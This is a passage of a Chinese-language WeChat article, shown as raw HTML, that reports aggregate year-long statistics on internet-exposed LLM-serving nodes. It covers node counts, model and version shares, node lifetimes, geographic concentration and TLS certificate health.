26, 95);">182（+62.50%），表明生态复杂度持续提升。</span></span></p><p style="margin: 10px 16px 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">在结构层面，头部模型家族仍保持较高集中度，其中 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">llama</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> 家族占全年模型事件的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">46.34%</span><span textstyle="" style="font-size: 14px;">，前五大模型家族合计占比达</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">82.47%</span><span textstyle="" style="font-size: 14px;">；与此同时，模型与版本维度的长尾分布持续扩展，显示生态多样性不断增强。节点侧呈现显著高流动性特征：IP 活跃天数中位数仅为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5</span><span textstyle="" style="font-size: 14px;">天，</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">26.44%</span><span textstyle="" style="font-size: 14px;"> 的 IP 仅出现 </span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">1</span><span textstyle="" style="font-size: 14px;"> 天，但同时存在少量长期稳定的核心节点（最长活跃</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">358</span><span textstyle="" style="font-size: 14px;">天，共 </span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">3</span><span textstyle="" style="font-size: 14px;"> 个 IP 达到该寿命）。</span></span></p><p style="margin: 10px 16px 18px;text-align: justify;line-height: 1.8em;"><span leaf=""><span textstyle="" style="font-size: 14px;">从地域与网络归属看，CN 与 US 合计占加权暴露规模的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">50.75%</span><span textstyle="" style="font-size: 14px;">，前三国家/地区占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">59.80%</span><span textstyle="" style="font-size: 14px;">，整体集中趋势明显。证书侧观测显示自动化部署已较为普遍，但 TLS 验证通过率仅为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">52.54%</span><span textstyle="" style="font-size: 14px;">，过期证书占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">9.88%</span><span textstyle="" style="font-size: 14px;">，且仍检测</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 8px 16px; text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;code&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">md5WithRSA与sha1WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">等弱签名算法，反映出基础安全治理水平仍存在明显改进空间。</span></span></p><blockquote style="margin: 10px 16px 18px;padding: 8px 12px;border-left: 3px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.04);border-radius: 0 6px 6px 0;"><p style="margin-top: 0px;margin-bottom: 0px;line-height: 1.6em;"><span leaf=""><span textstyle="" style="font-size: 12px;">探测链路在少数日期出现网络波动或采集异常，导致局部漏探或解析失败，表现为指标短时突降。缺失日为2025-02-15、2025-05-08、2025-09-27；波动窗口为2025-02-20、2025-04-10~2025-04-13、2025-04-19~2025-04-23、2026-02-11。</span></span></p></blockquote></div><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x01规模与趋势</span></strong></h2><p data-pm-slice="0 0 []" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">从全年运行态势看，公网暴露规模整体保持高位波动，平均日活跃暴露约为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">13,254</span><span textstyle="" style="font-size: 14px;">，中位数约为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">13,160</span><span textstyle="" style="font-size: 14px;">，显示生态规模在全年维持相对稳定水平。从季度变化看，2025年 Q2与 Q3阶段性回落，而在2025年 Q4至2026年 Q1再次出现明显回升，反映出暴露活动具有周期性调整与阶段性扩张特征。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">全年累计暴露 IP 达</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">152,137</span><span textstyle="" style="font-size: 14px;">，净增长规模为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">+141,664</span><span textstyle="" style="font-size: 14px;">，累计暴露与当前活跃暴露比值约为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">9.47。该指标表明，“历史曾暴露”节点数量远高于持续在线节点规模，生态呈现显著的高更替与高流动特征。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3388888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000052" src="https://wechat2rss.xlab.app/img-proxy/?k=010235a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6Vc6g7okQy4E1OkwJk7R7EKiagvmFBlLYolPv8XeQolibXH2BhCxy6XwCnAtQYxQKt3wCsmENiczouEyt7vRDf3SicImDzHteONLYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3398148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000053" src="https://wechat2rss.xlab.app/img-proxy/?k=9a78ca27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6VlQ1Fgj5qVyib8GWns0iaEvCGEJvoF389F4PmTf8ecz9tSRwibNL8O8IdFFzkuiaes935VWXC5BicbhfNZGw7icjDeUm3DNdewZUmMk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✦ ✦ ✦──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x02生态结构</span></strong></h2><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">全年模型与版本生态呈现出“规模扩张与结构重排并行”的演进特征。观测期内，日唯一模型峰值达到</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5,654</span><span textstyle="" style="font-size: 14px;">（2026-02-06），日唯一版本峰值达到</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">182</span><span textstyle="" style="font-size: 14px;">（2026-02-13）。按完整月度对比，模型规模由2025-02的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">4,969</span><span textstyle="" style="font-size: 14px;">增至2026-01的</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">8,379（+68.63%）</span><span textstyle="" style="font-size: 14px;">，版本数量由</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">119</span><span textstyle="" style="font-size: 14px;">增至</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">195（+63.87%），表明生态复杂度持续上升。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.425" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000055" src="https://wechat2rss.xlab.app/img-proxy/?k=1cee61ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6VpFrhsw1gsEy6mG2ibNnZwYSVNvMsbQt2CJtVBLRyIClGrjK12GfjhMMmhnJPu0GAa5zo59yncwWHiahJRqI7vtAicwU5Vr9emAs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-pm-slice="0 0 []" style="margin-top: 14px;margin-bottom: 8px;line-height: 1.5em;font-size: 18px;font-weight: 600;padding: 4px 0 4px 10px;border-left: 3px solid rgba(113, 26, 95, 0.85);background: rgba(113, 26, 95, 0.06);"><strong><span leaf="">0x02-1全周期事件（2025-02-14至2026-02-13）：</span></strong></h3><p style="margin-top: 4px;margin-bottom: 10px;"><span leaf=""><span textstyle="" style="font-size: 12px;background-color: transparent;color: rgb(113, 26, 95);">📎 口径说明</span></span></p><blockquote style="margin: 10px 16px 18px;padding: 8px 12px;border-left: 3px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.04);border-radius: 0 6px 6px 0;"><p style="margin-top: 0px;margin-bottom: 0px;line-height: 1.7em;"><span leaf=""><span textstyle="" style="font-size: 14px;">定义“全周期事件”为：某模型或版本在单日出现在100个活跃节点 IP 上记为100，并对全年逐日累加形成事件总量。</span></span></p></blockquote><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">统计结果显示，Top1模型为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">smollm2:135m</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（1,490,205，占7.98%）</span><span textstyle="" style="font-size: 14px;">，Top1家族为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">llama</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（8,654,881，占46.34%）</span><span textstyle="" style="font-size: 14px;">，Top1版本为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.1.33</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（287,829，占6.54%）</span><span textstyle="" style="font-size: 14px;">。Top5占比方面，模型为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">22.33%</span><span textstyle="" style="font-size: 14px;">、家族为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">82.47%</span><span textstyle="" style="font-size: 14px;">、版本为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">24.64%，反映出家族层面高度集中，而模型与版本层面仍保持显著长尾结构。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.28703703703703703" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000056" src="https://wechat2rss.xlab.app/img-proxy/?k=03cc5077&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6VY2ecaaItgug1AbFdVxFUOx8IKJoutfYFeicSF8rRdmUolB8ppCbFMnp1VZXBaUKpJgqEQKn6qyycUJlHM1VbIgLj4AibdjDPbY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">从月度主导项演化看，第一模型经历 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">deepseek-r1:1.5b</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> → </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">hermes3:8b</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> → </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">smollm2:135m</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> 的阶段性切换，其中后者自2025-04起长期占据主导地位；版本主线则由 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.5.x</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;"> 逐步演进至 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.13.x</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;">，并在2026-02-13日维度首次出现 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.x</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);"> 头部版本，显示版本迭代节奏仍在加快。</span></span></p><h3 style="margin-top: 14px;margin-bottom: 8px;line-height: 1.5em;font-size: 18px;font-weight: 600;padding: 4px 0 4px 10px;border-left: 3px solid rgba(113, 26, 95, 0.85);background: rgba(113, 26, 95, 0.06);"><strong><span leaf="">0x02-2最近日快照（2026-02-13）</span></strong></h3><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">截至2026-02-13，当日活跃 IP 为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">16,059</span><span textstyle="" style="font-size: 14px;">，模型数</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">5,643</span><span textstyle="" style="font-size: 14px;">，版本数</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">182</span><span textstyle="" style="font-size: 14px;">。模型前五分别为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">smollm2:135m</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（9.07%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">deepseek-v3.1:671b-cloud</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（7.47%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">nomic-embed-text:latest</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.99%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">deepseek-r1:1.5b</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.98%）</span><span textstyle="" style="font-size: 14px;">与 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">mistral:latest</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.91%）</span><span textstyle="" style="font-size: 14px;">；版本前五为 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.6</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（11.51%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.13.5</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（9.37%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.1.33</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（8.72%）</span><span textstyle="" style="font-size: 14px;">、</span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.2</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（4.49%）</span><span textstyle="" style="font-size: 14px;">与 </span></span><code style="display: inline-block;padding: 0px 1px;margin: 0px;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">0.15.4</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（4.49%）</span><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">当日活跃 IP 年龄中位数为</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">77</span><span textstyle="" style="font-size: 14px;">天，其中</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">7</span><span textstyle="" style="font-size: 14px;">天内节点占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">14.59%</span><span textstyle="" style="font-size: 14px;">，</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">90</span><span textstyle="" style="font-size: 14px;">天以上占比</span><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">46.37%。短周期波动节点与长期稳定节点同时存在，成为当前暴露生态的典型运行形态。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3074074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000058" src="https://wechat2rss.xlab.app/img-proxy/?k=cceb9ffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6X0c5VNmlu59OU2Y5ZXjs9kX3mR7OgTGzrvjxibbNzcUbzkFmtJuuIJNW7bjticp00nOn2dicoSpqrS7G5truvnnr5kCsiaH7diaPO4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x03存活周期</span></strong></h2><p data-pm-slice="0 0 []" data-mpa-action-id="mll1btfm6sp" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span mpa-font-style="mll1btfcpo4" style="font-size: 14px;"><span leaf="">存活周期分析表明，</span><em><span leaf="">IP 极易更替，模型中等稳定，版本最稳定</span></em><span leaf="">。这一结果与“节点弹性调度与迁移频繁、软件升级节奏慢于节点更替”的运行规律相一致。全年最长存活记录分别为：IP</span><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">358</span></span><span leaf="">天</span><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">（3个节点）</span></span><span leaf="">、模型 </span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf="">deepseek-r1:latest</span></code><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">355</span></span><span leaf="">天、版本 </span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf="">0.1.33</span></code><span leaf=""> 持续</span><span leaf=""><span textstyle="" style="color: rgb(113, 26, 95);">348</span></span><span leaf="">天。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2740300594197833" data-s="300,640" data-type="png" data-w="2861" type="block" data-imgfileid="100000060" src="https://wechat2rss.xlab.app/img-proxy/?k=02dbdf72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FI5P6NLY2q6U1Qn84Jic3C5opISbOmENpKlZgkQR0TWc3RUy8rSRsd8GNZW0rmibG8Wgp44bYntEkVHFeINzRnZJWDSqX1qdVSJXJUn5Kgco00%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✦ ✦ ✦──────</span></span></p><h2 style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x04地理分布</span></strong></h2><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">全年观测覆盖</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">158</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">个国家和地区，前四依次为 CN</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（29.09%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">、US</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（21.65%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">、DE</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（9.06%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">与 FR</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（7.43%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。其中 CN 与 US 合计占</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">50.75%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，前三占</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">59.80%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，前五占</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">70.06%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">。整体呈现“全球分布广泛、核心承载区域高度集中”的特征</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.41539065567334116" data-s="300,640" data-type="png" data-w="2547" type="block" data-imgfileid="100000062" src="https://wechat2rss.xlab.app/img-proxy/?k=f390c9b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI5P6NLY2q6XOibTiaM1fBKaILgwtD2ibYAdavxmJlFXEgvH5yUMbUZRy7dbfwVnWzmrMIQR7W6x5wtXdPjtAjNkpbSzXBvNuhLibia8HmibkYbqxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 10px;margin-bottom: 6px;text-align: center;line-height: 1em;"><span leaf=""><span textstyle="" style="font-size: 11px;letter-spacing: 0.5px;color: rgb(113, 26, 95);">──────✧ ✧ ✧──────</span></span></p><h2 data-pm-slice="0 0 []" style="margin-top: 18px;margin-bottom: 10px;line-height: 1.5em;font-size: 20px;font-weight: 700;padding: 4px 0 4px 10px;border-left: 4px solid rgb(113, 26, 95);background: rgba(113, 26, 95, 0.08);"><strong><span leaf="">0x05 TLS 证书</span></strong></h2><p data-pm-slice="0 0 []" style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">观测发现，部分暴露IP通过443端口反向代理或网关对外提供访问。通过对TLS证书生态分析，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">共有</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">24,524</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">个暴露 IP 配置证书，其中 SSL 验证通过率为</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">52.54%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，证书过期率为</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">9.88%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="margin-top: 10px;margin-bottom: 18px;line-height: 1.8em;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 14px;">证书生态中，Let&#39;s Encrypt 占比</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">45.67%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，其后为 DigiCert、TrustAsia、ZeroSSL 与 Sectigo。签名算法以 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">sha256WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（69.43%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">与 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">ecdsa-with-SHA384</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（25.63%）</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">为主，但仍存在 </span></span><code style="display: inline-block;padding: 0 1px;margin: 0;border-radius: 3px;background: rgba(113, 26, 95, 0.01);border: 1px solid rgba(113, 26, 95, 0.12);color: rgb(113, 26, 95);"><span leaf=""><span textstyle="" style="font-size: 14px;">md5WithRSA</span></span></code><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(113, 26, 95);">（2.39%）</span></span><span leaf=""><span 